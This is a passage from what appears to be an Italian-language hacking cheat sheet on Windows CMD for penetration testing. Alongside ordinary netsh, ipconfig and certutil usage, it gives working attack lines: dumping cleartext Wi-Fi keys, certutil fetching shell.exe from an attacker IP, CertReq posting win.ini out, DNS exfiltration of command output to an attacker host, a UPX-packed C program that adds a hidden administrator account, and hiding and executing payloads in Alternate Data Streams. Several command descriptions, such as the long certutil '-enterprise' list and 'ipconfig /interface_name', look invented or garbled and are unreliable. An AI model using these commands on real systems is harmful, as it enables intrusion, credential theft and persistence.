Questo comando mostrerà un elenco delle reti Wi-Fi rilevate, insieme ad altre informazioni come il nome della rete (SSID), il tipo di autenticazione e la potenza del segnale.
|
||
|
||
**Connessione a una rete Wi-Fi**
|
||
|
||
Per connettersi a una rete Wi-Fi specifica, è possibile utilizzare il comando `netsh` seguito da `wlan connect`. Ecco un esempio:
|
||
|
||
```plaintext
|
||
netsh wlan connect name="nome_rete"
|
||
```
|
||
|
||
Sostituisci "nome\_rete" con il nome della rete Wi-Fi a cui desideri connetterti.
|
||
|
||
**Disconnessione da una rete Wi-Fi**
|
||
|
||
Per disconnettersi da una rete Wi-Fi, è possibile utilizzare il comando `netsh` seguito da `wlan disconnect`. Ecco un esempio:
|
||
|
||
```plaintext
|
||
netsh wlan disconnect
|
||
```
|
||
|
||
**Ottenere informazioni dettagliate sulla rete Wi-Fi**
|
||
|
||
Per ottenere informazioni più dettagliate su una rete Wi-Fi specifica, è possibile utilizzare il comando `netsh` seguito da `wlan show profile`. Ecco come farlo:
|
||
|
||
```plaintext
|
||
netsh wlan show profile name="nome_rete" key=clear
|
||
```
|
||
|
||
Sostituisci "nome\_rete" con il nome della rete Wi-Fi di cui desideri ottenere informazioni.
|
||
|
||
**Cambiare la modalità di connessione Wi-Fi**
|
||
|
||
Per cambiare la modalità di connessione Wi-Fi, ad esempio da "Automatico" a "Manuale", è possibile utilizzare il comando `netsh` seguito da `wlan set profileparameter`. Ecco un esempio:
|
||
|
||
```plaintext
|
||
netsh wlan set profileparameter name="nome_rete" connectionmode=manual
|
||
```
|
||
|
||
Sostituisci "nome\_rete" con il nome della rete Wi-Fi di cui desideri cambiare la modalità di connessione.
|
||
|
||
**Disabilitare il Wi-Fi**
|
||
|
||
Per disabilitare il Wi-Fi sul tuo dispositivo, è possibile utilizzare il comando `netsh` seguito da `wlan set autoconfig enabled=no interface="nome_interfaccia"`. Ecco un esempio:
|
||
|
||
```plaintext
|
||
netsh wlan set autoconfig enabled=no interface="Wi-Fi"
|
||
```
|
||
|
||
Sostituisci "nome\_interfaccia" con il nome dell'interfaccia Wi-Fi del tuo dispositivo.
|
||
|
||
**Abilitare il Wi-Fi**
|
||
|
||
Per abilitare il Wi-Fi sul tuo dispositivo, è possibile utilizzare il comando `netsh` seguito da `wlan set autoconfig enabled=yes interface="nome_interfaccia"`. Ecco un esempio:
|
||
|
||
```plaintext
|
||
netsh wlan set autoconfig enabled=yes interface="Wi-Fi"
|
||
```
|
||
|
||
Sostituisci "nome\_interfaccia" con il nome dell'interfaccia Wi-Fi del tuo dispositivo.
|
||
|
||
```bash
|
||
netsh wlan show profile #AP SSID
|
||
netsh wlan show profile <SSID> key=clear #Get Cleartext Pass
|
||
```
|
||
|
||
#### SNMP
|
||
|
||
SNMP (Simple Network Management Protocol) è un protocollo di gestione di rete utilizzato per monitorare e gestire dispositivi di rete come router, switch e server. SNMP consente ai sistemi di gestione di rete di raccogliere informazioni sullo stato e le prestazioni dei dispositivi di rete, nonché di controllarli e configurarli in remoto.
|
||
|
||
**Componenti di SNMP**
|
||
|
||
SNMP è costituito da tre componenti principali:
|
||
|
||
1. **Agent**: l'agente SNMP è un software che viene eseguito sui dispositivi di rete e fornisce informazioni sullo stato e le prestazioni del dispositivo. L'agente risponde alle richieste SNMP inviate dal sistema di gestione di rete.
|
||
2. **Manager**: il sistema di gestione di rete, noto anche come manager SNMP, è un software che raccoglie informazioni dai dispositivi di rete utilizzando il protocollo SNMP. Il manager può inviare richieste SNMP agli agenti per ottenere informazioni o eseguire azioni sui dispositivi di rete.
|
||
3. **MIB (Management Information Base)**: la MIB è un database che contiene una collezione di oggetti gestiti. Ogni oggetto gestito ha un identificatore univoco chiamato OID (Object Identifier) e contiene informazioni specifiche sul dispositivo di rete, come ad esempio l'utilizzo della CPU, la memoria disponibile o le interfacce di rete attive.
|
||
|
||
**Versioni di SNMP**
|
||
|
||
SNMP ha diverse versioni, tra cui SNMPv1, SNMPv2c e SNMPv3. Le versioni più recenti offrono funzionalità di sicurezza avanzate, come l'autenticazione e la crittografia dei dati trasmessi tra agenti e manager.
|
||
|
||
**Utilizzo di SNMP per il pentesting**
|
||
|
||
Durante un test di penetrazione, SNMP può essere utilizzato per raccogliere informazioni sui dispositivi di rete, come ad esempio le versioni del sistema operativo, le configurazioni di rete e le credenziali di accesso. Queste informazioni possono essere utilizzate per identificare vulnerabilità e punti deboli nel sistema di rete e per eseguire attacchi mirati.
|
||
|
||
Alcuni comandi utili per l'utilizzo di SNMP durante un test di penetrazione includono:
|
||
|
||
* `snmpwalk`: utilizzato per ottenere informazioni sulla MIB di un dispositivo di rete.
|
||
* `snmpget`: utilizzato per ottenere il valore di un oggetto gestito specifico.
|
||
* `snmpset`: utilizzato per impostare il valore di un oggetto gestito specifico.
|
||
* `snmptrap`: utilizzato per inviare notifiche agli agenti SNMP in risposta a eventi specifici.
|
||
|
||
È importante notare che l'utilizzo di SNMP durante un test di penetrazione deve essere effettuato solo su dispositivi di rete autorizzati e con il consenso del proprietario del sistema.
|
||
|
||
```
|
||
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
|
||
```
|
||
|
||
#### Interfacce di rete
|
||
|
||
Le interfacce di rete sono i punti di connessione tra un dispositivo e una rete. Possono essere cablate o wireless e consentono al dispositivo di comunicare con altri dispositivi sulla rete. Le interfacce di rete possono essere configurate per supportare diversi protocolli di rete, come TCP/IP, e possono avere indirizzi IP assegnati. Di seguito sono riportati alcuni comandi di base per gestire le interfacce di rete su Windows.
|
||
|
||
**Visualizzare le interfacce di rete disponibili**
|
||
|
||
```
|
||
ipconfig /all
|
||
```
|
||
|
||
Questo comando visualizza tutte le interfacce di rete disponibili sul sistema, insieme alle relative informazioni di configurazione.
|
||
|
||
**Visualizzare le informazioni di configurazione di un'interfaccia di rete specifica**
|
||
|
||
```
|
||
ipconfig /interface_name
|
||
```
|
||
|
||
Sostituisci "interface\_name" con il nome dell'interfaccia di rete di cui desideri visualizzare le informazioni di configurazione. Ad esempio, se desideri visualizzare le informazioni per l'interfaccia Ethernet, digita:
|
||
|
||
```
|
||
ipconfig /ethernet
|
||
```
|
||
|
||
**Rilasciare un indirizzo IP assegnato a un'interfaccia di rete**
|
||
|
||
```
|
||
ipconfig /release
|
||
```
|
||
|
||
Questo comando rilascia l'indirizzo IP assegnato a un'interfaccia di rete specifica.
|
||
|
||
**Rinnovare un indirizzo IP per un'interfaccia di rete**
|
||
|
||
```
|
||
ipconfig /renew
|
||
```
|
||
|
||
Questo comando rinnova l'indirizzo IP per un'interfaccia di rete specifica.
|
||
|
||
**Abilitare o disabilitare un'interfaccia di rete**
|
||
|
||
```
|
||
netsh interface set interface "interface_name" admin=enable/disable
|
||
```
|
||
|
||
Sostituisci "interface\_name" con il nome dell'interfaccia di rete che desideri abilitare o disabilitare. Ad esempio, se desideri abilitare l'interfaccia Ethernet, digita:
|
||
|
||
```
|
||
netsh interface set interface "Ethernet" admin=enable
|
||
```
|
||
|
||
**Cambiare l'indirizzo IP di un'interfaccia di rete**
|
||
|
||
```
|
||
netsh interface ip set address "interface_name" static/dhcp [ip_address] [subnet_mask] [default_gateway]
|
||
```
|
||
|
||
Sostituisci "interface\_name" con il nome dell'interfaccia di rete di cui desideri cambiare l'indirizzo IP. Puoi specificare se l'indirizzo IP deve essere statico o ottenuto tramite DHCP. Puoi anche specificare l'indirizzo IP, la subnet mask e il default gateway desiderati. Ad esempio, per impostare un indirizzo IP statico sull'interfaccia Ethernet, digita:
|
||
|
||
```
|
||
netsh interface ip set address "Ethernet" static 192.168.1.100 255.255.255.0 192.168.1.1
|
||
```
|
||
|
||
```bash
|
||
ipconfig /all
|
||
```
|
||
|
||
#### Tabella ARP
|
||
|
||
La tabella ARP (Address Resolution Protocol) è un componente chiave nella comunicazione di rete. Questa tabella mappa gli indirizzi IP degli host con i loro indirizzi MAC corrispondenti. Quando un dispositivo deve inviare un pacchetto a un altro dispositivo sulla rete locale, consulta la tabella ARP per ottenere l'indirizzo MAC corrispondente all'indirizzo IP di destinazione. Se l'indirizzo MAC non è presente nella tabella ARP, il dispositivo invia un messaggio di richiesta ARP per ottenere l'indirizzo MAC mancante. Una volta ottenuto l'indirizzo MAC, il dispositivo può inviare il pacchetto al destinatario corretto. La tabella ARP può essere visualizzata utilizzando il comando `arp -a` nella finestra di comando di Windows. Questo comando elenca gli indirizzi IP e MAC presenti nella tabella ARP del sistema.
|
||
|
||
```bash
|
||
arp -A
|
||
```
|
||
|
||
### Download
|
||
|
||
Bitsadmin.exe
|
||
|
||
```
|
||
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
|
||
```
|
||
|
||
## CertReq.exe
|
||
|
||
CertReq.exe is a command-line tool used for certificate enrollment and management in Windows operating systems. It allows users to create and submit certificate requests, retrieve issued certificates, and perform various certificate-related operations.
|
||
|
||
### Syntax
|
||
|
||
```
|
||
CertReq [-submit] [-new] [-config ConfigFile] [-attrib AttributeString] [-binary] [-q] [-v] [-?]
|
||
```
|
||
|
||
### Parameters
|
||
|
||
* `-submit`: Submits a certificate request to a certification authority (CA).
|
||
* `-new`: Creates a new certificate request.
|
||
* `-config ConfigFile`: Specifies the configuration file to use for the certificate request.
|
||
* `-attrib AttributeString`: Specifies additional attributes for the certificate request.
|
||
* `-binary`: Outputs the certificate request in binary format.
|
||
* `-q`: Runs CertReq in quiet mode, suppressing unnecessary output.
|
||
* `-v`: Runs CertReq in verbose mode, providing detailed output.
|
||
* `-?`: Displays the help message for CertReq.
|
||
|
||
### Examples
|
||
|
||
1. Create a new certificate request:
|
||
|
||
```
|
||
CertReq -new Request.inf Request.req
|
||
```
|
||
|
||
2. Submit a certificate request to a CA:
|
||
|
||
```
|
||
CertReq -submit -config Request.inf -binary Request.req
|
||
```
|
||
|
||
### Conclusion
|
||
|
||
CertReq.exe is a powerful command-line tool for managing certificate requests in Windows. It provides various options for creating, submitting, and managing certificates, making it a valuable tool for pentesters and system administrators.
|
||
|
||
```
|
||
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
|
||
```
|
||
|
||
## Certutil.exe
|
||
|
||
Certutil.exe is a command-line utility in Windows that is used to manage certificates. It provides various functions for working with certificates, such as installing, exporting, and verifying them.
|
||
|
||
### Usage
|
||
|
||
To use Certutil.exe, open a command prompt and type `certutil` followed by the desired command and its parameters.
|
||
|
||
### Commands
|
||
|
||
#### -addstore
|
||
|
||
The `-addstore` command is used to add a certificate or a certificate chain to a specified certificate store.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -addstore <StoreName> <CertificateFile>
|
||
```
|
||
|
||
#### -delstore
|
||
|
||
The `-delstore` command is used to delete a certificate or a certificate chain from a specified certificate store.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -delstore <StoreName> <CertificateFile>
|
||
```
|
||
|
||
#### -store
|
||
|
||
The `-store` command is used to display the certificates in a specified certificate store.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -store <StoreName>
|
||
```
|
||
|
||
#### -view
|
||
|
||
The `-view` command is used to display the details of a certificate.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -view <CertificateFile>
|
||
```
|
||
|
||
#### -verify
|
||
|
||
The `-verify` command is used to verify the signature of a certificate.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -verify <CertificateFile>
|
||
```
|
||
|
||
#### -urlcache
|
||
|
||
The `-urlcache` command is used to manage the URL cache.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -urlcache -split -f <URL>
|
||
```
|
||
|
||
#### -dump
|
||
|
||
The `-dump` command is used to display the contents of a certificate or a certificate chain.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -dump <CertificateFile>
|
||
```
|
||
|
||
#### -getkey
|
||
|
||
The `-getkey` command is used to display the private key associated with a certificate.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -getkey <CertificateFile>
|
||
```
|
||
|
||
#### -repairstore
|
||
|
||
The `-repairstore` command is used to repair a certificate store.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -repairstore <StoreName> <SerialNumber>
|
||
```
|
||
|
||
#### -crl
|
||
|
||
The `-crl` command is used to display the contents of a certificate revocation list (CRL).
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -crl <CRLFile>
|
||
```
|
||
|
||
#### -dumpchain
|
||
|
||
The `-dumpchain` command is used to display the certificate chain of a certificate.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -dumpchain <CertificateFile>
|
||
```
|
||
|
||
#### -ping
|
||
|
||
The `-ping` command is used to check the connectivity to a specified URL.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -ping <URL>
|
||
```
|
||
|
||
#### -decode
|
||
|
||
The `-decode` command is used to decode a base64-encoded file.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -decode <Base64File> <OutputFile>
|
||
```
|
||
|
||
#### -encode
|
||
|
||
The `-encode` command is used to encode a file to base64.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -encode <InputFile> <Base64File>
|
||
```
|
||
|
||
#### -hashfile
|
||
|
||
The `-hashfile` command is used to calculate the hash value of a file.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -hashfile <File> <HashAlgorithm>
|
||
```
|
||
|
||
#### -mergepfx
|
||
|
||
The `-mergepfx` command is used to merge a PFX file with a certificate store.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -mergepfx <PFXFile> <StoreName>
|
||
```
|
||
|
||
#### -renewcert
|
||
|
||
The `-renewcert` command is used to renew a certificate.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -renewcert <CertificateFile>
|
||
```
|
||
|
||
#### -setreg
|
||
|
||
The `-setreg` command is used to set a registry value.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -setreg <RegistryPath> <Value>
|
||
```
|
||
|
||
#### -getreg
|
||
|
||
The `-getreg` command is used to get the value of a registry key.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -getreg <RegistryPath>
|
||
```
|
||
|
||
#### -pingadmin
|
||
|
||
The `-pingadmin` command is used to check the connectivity to a specified URL as an administrator.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -pingadmin <URL>
|
||
```
|
||
|
||
#### -addstore -enterprise
|
||
|
||
The `-addstore -enterprise` command is used to add a certificate or a certificate chain to the enterprise certificate store.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -addstore -enterprise <StoreName> <CertificateFile>
|
||
```
|
||
|
||
#### -delstore -enterprise
|
||
|
||
The `-delstore -enterprise` command is used to delete a certificate or a certificate chain from the enterprise certificate store.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -delstore -enterprise <StoreName> <CertificateFile>
|
||
```
|
||
|
||
#### -store -enterprise
|
||
|
||
The `-store -enterprise` command is used to display the certificates in the enterprise certificate store.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -store -enterprise <StoreName>
|
||
```
|
||
|
||
#### -view -enterprise
|
||
|
||
The `-view -enterprise` command is used to display the details of a certificate in the enterprise certificate store.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -view -enterprise <CertificateFile>
|
||
```
|
||
|
||
#### -verify -enterprise
|
||
|
||
The `-verify -enterprise` command is used to verify the signature of a certificate in the enterprise certificate store.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -verify -enterprise <CertificateFile>
|
||
```
|
||
|
||
#### -dump -enterprise
|
||
|
||
The `-dump -enterprise` command is used to display the contents of a certificate or a certificate chain in the enterprise certificate store.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -dump -enterprise <CertificateFile>
|
||
```
|
||
|
||
#### -getkey -enterprise
|
||
|
||
The `-getkey -enterprise` command is used to display the private key associated with a certificate in the enterprise certificate store.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -getkey -enterprise <CertificateFile>
|
||
```
|
||
|
||
#### -repairstore -enterprise
|
||
|
||
The `-repairstore -enterprise` command is used to repair the enterprise certificate store.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -repairstore -enterprise <StoreName> <SerialNumber>
|
||
```
|
||
|
||
#### -crl -enterprise
|
||
|
||
The `-crl -enterprise` command is used to display the contents of a certificate revocation list (CRL) in the enterprise certificate store.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -crl -enterprise <CRLFile>
|
||
```
|
||
|
||
#### -dumpchain -enterprise
|
||
|
||
The `-dumpchain -enterprise` command is used to display the certificate chain of a certificate in the enterprise certificate store.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -dumpchain -enterprise <CertificateFile>
|
||
```
|
||
|
||
#### -ping -enterprise
|
||
|
||
The `-ping -enterprise` command is used to check the connectivity to a specified URL in the enterprise context.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -ping -enterprise <URL>
|
||
```
|
||
|
||
#### -decode -enterprise
|
||
|
||
The `-decode -enterprise` command is used to decode a base64-encoded file in the enterprise context.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -decode -enterprise <Base64File> <OutputFile>
|
||
```
|
||
|
||
#### -encode -enterprise
|
||
|
||
The `-encode -enterprise` command is used to encode a file to base64 in the enterprise context.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -encode -enterprise <InputFile> <Base64File>
|
||
```
|
||
|
||
#### -hashfile -enterprise
|
||
|
||
The `-hashfile -enterprise` command is used to calculate the hash value of a file in the enterprise context.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -hashfile -enterprise <File> <HashAlgorithm>
|
||
```
|
||
|
||
#### -mergepfx -enterprise
|
||
|
||
The `-mergepfx -enterprise` command is used to merge a PFX file with the enterprise certificate store.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -mergepfx -enterprise <PFXFile> <StoreName>
|
||
```
|
||
|
||
#### -renewcert -enterprise
|
||
|
||
The `-renewcert -enterprise` command is used to renew a certificate in the enterprise certificate store.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -renewcert -enterprise <CertificateFile>
|
||
```
|
||
|
||
#### -setreg -enterprise
|
||
|
||
The `-setreg -enterprise` command is used to set a registry value in the enterprise context.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -setreg -enterprise <RegistryPath> <Value>
|
||
```
|
||
|
||
#### -getreg -enterprise
|
||
|
||
The `-getreg -enterprise` command is used to get the value of a registry key in the enterprise context.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -getreg -enterprise <RegistryPath>
|
||
```
|
||
|
||
#### -pingadmin -enterprise
|
||
|
||
The `-pingadmin -enterprise` command is used to check the connectivity to a specified URL as an administrator in the enterprise context.
|
||
|
||
Example:
|
||
|
||
```plaintext
|
||
certutil -pingadmin -enterprise <URL>
|
||
```
|
||
|
||
For more information about Certutil.exe and its commands, refer to the [Microsoft documentation](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil).
|
||
|
||
```
|
||
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
|
||
```
|
||
|
||
**Trova molto di più cercando `Download` su** [**https://lolbas-project.github.io**](https://lolbas-project.github.io/)
|
||
|
||
### Varie
|
||
|
||
```bash
|
||
cd #Get current dir
|
||
cd C:\path\to\dir #Change dir
|
||
dir #List current dir
|
||
dir /a:h C:\path\to\dir #List hidden files
|
||
dir /s /b #Recursive list without shit
|
||
time #Get current time
|
||
date #Get current date
|
||
shutdown /r /t 0 #Shutdown now
|
||
type <file> #Cat file
|
||
|
||
#Runas
|
||
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
|
||
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
|
||
|
||
#Hide
|
||
attrib +h file #Set Hidden
|
||
attrib -h file #Quit Hidden
|
||
|
||
#Give full control over a file that you owns
|
||
icacls <FILE_PATH> /t /e /p <USERNAME>:F
|
||
icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision
|
||
|
||
#Recursive copy to smb
|
||
xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win
|
||
|
||
#exe2bat to transform exe file in bat file
|
||
|
||
#ADS
|
||
dir /r #Detect ADS
|
||
more file.txt:ads.txt #read ADS
|
||
powershell (Get-Content file.txt -Stream ads.txt)
|
||
|
||
# Get error messages from code
|
||
net helpmsg 32 #32 is the code in that case
|
||
```
|
||
|
||
#### Bypass del Blacklisting dei Caratteri
|
||
|
||
In alcuni casi, quando si tenta di iniettare comandi in un'applicazione, si può incontrare un filtro che blocca determinati caratteri. Tuttavia, è possibile aggirare questo filtro utilizzando tecniche di bypass.
|
||
|
||
**1. Utilizzo di caratteri alternativi**
|
||
|
||
Alcuni caratteri possono essere sostituiti con varianti simili che non vengono bloccate dal filtro. Ad esempio, il carattere "a" può essere sostituito con il carattere "à" o "á". Provare a sostituire i caratteri bloccati con le loro varianti alternative per aggirare il filtro.
|
||
|
||
**2. Utilizzo di caratteri esadecimali**
|
||
|
||
I caratteri possono essere rappresentati utilizzando la loro forma esadecimale. Ad esempio, il carattere "a" può essere rappresentato come "%61". Provare a convertire i caratteri bloccati nella loro forma esadecimale per aggirare il filtro.
|
||
|
||
**3. Utilizzo di caratteri unicode**
|
||
|
||
I caratteri possono essere rappresentati utilizzando il loro valore unicode. Ad esempio, il carattere "a" può essere rappresentato come "\u0061". Provare a convertire i caratteri bloccati nel loro valore unicode per aggirare il filtro.
|
||
|
||
**4. Utilizzo di caratteri di escape**
|
||
|
||
Alcuni caratteri possono essere preceduti da un carattere di escape per evitare il blocco del filtro. Ad esempio, il carattere "a" può essere preceduto da un backslash ("") per diventare "\a". Provare a utilizzare caratteri di escape per aggirare il filtro.
|
||
|
||
**5. Utilizzo di caratteri HTML**
|
||
|
||
I caratteri possono essere rappresentati utilizzando le loro entità HTML. Ad esempio, il carattere "a" può essere rappresentato come "& #97;". Provare a convertire i caratteri bloccati nelle loro entità HTML per aggirare il filtro.
|
||
|
||
Ricordarsi sempre di testare attentamente le tecniche di bypass per assicurarsi che funzionino correttamente.
|
||
|
||
```bash
|
||
echo %HOMEPATH:~6,-11% #\
|
||
who^ami #whoami
|
||
```
|
||
|
||
#### DOSfuscation
|
||
|
||
Genera una linea di comando CMD oscurata
|
||
|
||
```powershell
|
||
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
|
||
cd Invoke-DOSfuscation
|
||
Import-Module .\Invoke-DOSfuscation.psd1
|
||
Invoke-DOSfuscation
|
||
help
|
||
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
|
||
encoding
|
||
```
|
||
|
||
#### ACL degli indirizzi di ascolto
|
||
|
||
È possibile ascoltare su [http://+:80/Temporary\_Listen\_Addresses/](http://+/Temporary\_Listen\_Addresses/) senza essere amministratore.
|
||
|
||
```bash
|
||
netsh http show urlacl
|
||
```
|
||
|
||
#### Shell DNS manuale
|
||
|
||
**Attacker** (Kali) deve utilizzare una delle seguenti 2 opzioni:
|
||
|
||
```bash
|
||
sudo responder -I <iface> #Active
|
||
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive
|
||
```
|
||
|
||
**Vittima**
|
||
|
||
Tecnica **`for /f tokens`**: Ciò ci consente di eseguire comandi, ottenere le prime X parole di ogni riga e inviarle tramite DNS al nostro server.
|
||
|
||
```bash
|
||
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
|
||
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
|
||
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
|
||
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
|
||
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
|
||
#More complex commands
|
||
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
|
||
```
|
||
|
||
Puoi anche **ridirigere** l'output e poi **leggerlo**.
|
||
|
||
```
|
||
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
|
||
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
|
||
```
|
||
|
||
### Chiamare CMD dal codice C
|
||
|
||
To call CMD from C code, you can use the `system()` function provided by the C standard library. This function allows you to execute a command in the command prompt.
|
||
|
||
Per chiamare CMD dal codice C, puoi utilizzare la funzione `system()` fornita dalla libreria standard del linguaggio C. Questa funzione ti consente di eseguire un comando nel prompt dei comandi.
|
||
|
||
Here is an example of how to use the `system()` function to call CMD and execute a command:
|
||
|
||
Ecco un esempio di come utilizzare la funzione `system()` per chiamare CMD ed eseguire un comando:
|
||
|
||
```c
|
||
#include <stdlib.h>
|
||
|
||
int main() {
|
||
system("command_to_execute");
|
||
return 0;
|
||
}
|
||
```
|
||
|
||
Replace `"command_to_execute"` with the actual command you want to execute in CMD.
|
||
|
||
Sostituisci `"command_to_execute"` con il comando effettivo che desideri eseguire in CMD.
|
||
|
||
Keep in mind that using the `system()` function can be a security risk, as it allows for arbitrary command execution. Make sure to validate and sanitize any user input before using it in the command.
|
||
|
||
Tieni presente che l'utilizzo della funzione `system()` può comportare un rischio per la sicurezza, in quanto consente l'esecuzione di comandi arbitrari. Assicurati di convalidare e sanificare qualsiasi input dell'utente prima di utilizzarlo nel comando.
|
||
|
||
```c
|
||
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
|
||
|
||
// When executed by Administrator this program will create a user and then add him to the administrators group
|
||
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
|
||
// upx -9 addmin.exe
|
||
|
||
int main (){
|
||
int i;
|
||
i=system("net users otherAcc 0TherAcc! /add");
|
||
i=system("net localgroup administrators otherAcc /add");
|
||
return 0;
|
||
}
|
||
```
|
||
|
||
### Scheda di riferimento per gli Alternate Data Streams (ADS/Alternate Data Stream)
|
||
|
||
**Esempi tratti da** [**https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f**](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)**. Ce ne sono molti altri!**
|
||
|
||
```bash
|
||
## Selected Examples of ADS Operations ##
|
||
|
||
### Adding Content to ADS ###
|
||
# Append executable to a log file as an ADS
|
||
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
|
||
# Download a script directly into an ADS
|
||
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
|
||
|
||
### Discovering ADS Content ###
|
||
# List files and their ADS
|
||
dir /R
|
||
# Use Sysinternals tool to list ADS of a file
|
||
streams.exe <c:\path\to\file>
|
||
|
||
### Extracting Content from ADS ###
|
||
# Extract an executable stored in an ADS
|
||
expand c:\ads\file.txt:test.exe c:\temp\evil.exe
|
||
|
||
### Executing ADS Content ###
|
||
# Execute an executable stored in an ADS using WMIC
|
||
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
|
||
# Execute a script stored in an ADS using PowerShell
|
||
powershell -ep bypass - < c:\temp:ttt
|
||
```
|
||
|
||
<details>
|
||
|
||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
* Lavori in un'azienda di **sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? o vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|